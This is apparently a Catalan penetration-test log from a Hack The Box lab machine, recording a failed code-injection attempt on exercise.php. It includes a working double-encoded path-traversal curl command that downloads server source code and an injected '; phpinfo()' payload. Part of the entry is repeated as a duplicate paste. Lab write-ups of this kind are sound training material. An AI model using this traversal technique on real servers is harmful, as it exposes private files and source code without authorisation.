Persona --> Cristian
Temps --> 27/02/2023 --> 20:20 - 20:40
Acció --> Code injection.
Endpoint --> https://broscience.htb/exercise.php?id=2
Resultat --> No es pot injectar codi
Output:
Mirarem d'injectar codi en l'URL d'un dels post de la pàgina a veure si no validen els arguments. Agafem l'URL d'un dels posts:
Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "exercice.php":
┌─[lao@parrot]─[~/broscience]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252fexercise.php > exercise.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4969 100 4969 0 0 39335 0 --:--:-- --:--:-- --:--:-- 39436
┌─[lao@parrot]─[~/broscience]
└──╼ $cat exercise.php | sed -n 4,25p
if (isset($_GET['id'])) {
if (!empty($_GET['id'])) {
if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "get_exercise_query", 'SELECT exercises.id, username, title, image, content, exercises.date_created, users.id FROM exercises JOIN users ON author_id = users.id WHERE exercises.id=$1');
$res = pg_execute($db_conn, "get_exercise_query", array($_GET['id']));
if (pg_num_rows($res) > 0) {
$row = pg_fetch_row($res);
} else {
$alert = "No exercise with that ID";
}
} else {
$alert = "Invalid ID value";
}
} else {
$alert = "Empty ID value";
}
} else {
$alert = "Missing ID value";
}
Com veiem en el codi hi ha un "filter_var":
if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
Que valida que el valor de la id del exercici sigui un INT i com el que injectem no ho és ens retorna FALSE i la seva corresponent resposta:
Persona --> Cristian Temps --> 27/02/2023 --> 20:20 - 20:40 Acció --> Code injection. Endpoint --> https://broscience.htb/exercise.php?id=2 Resultat --> No es pot injectar codi Output:
Mirarem d'injectar codi en l'URL d'un dels post de la pàgina a veure si no validen els arguments. Agafem l'URL d'un dels posts:
I li afegim al final --> ; phpinfo():
Com a resultat obtenim:
Per tant, no es pot fer un code injecction.
Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "exercice.php":
Com veiem en el codi hi ha un "filter_var":
Que valida que el valor de la id del exercici sigui un INT i com el que injectem no ho és ens retorna FALSE i la seva corresponent resposta: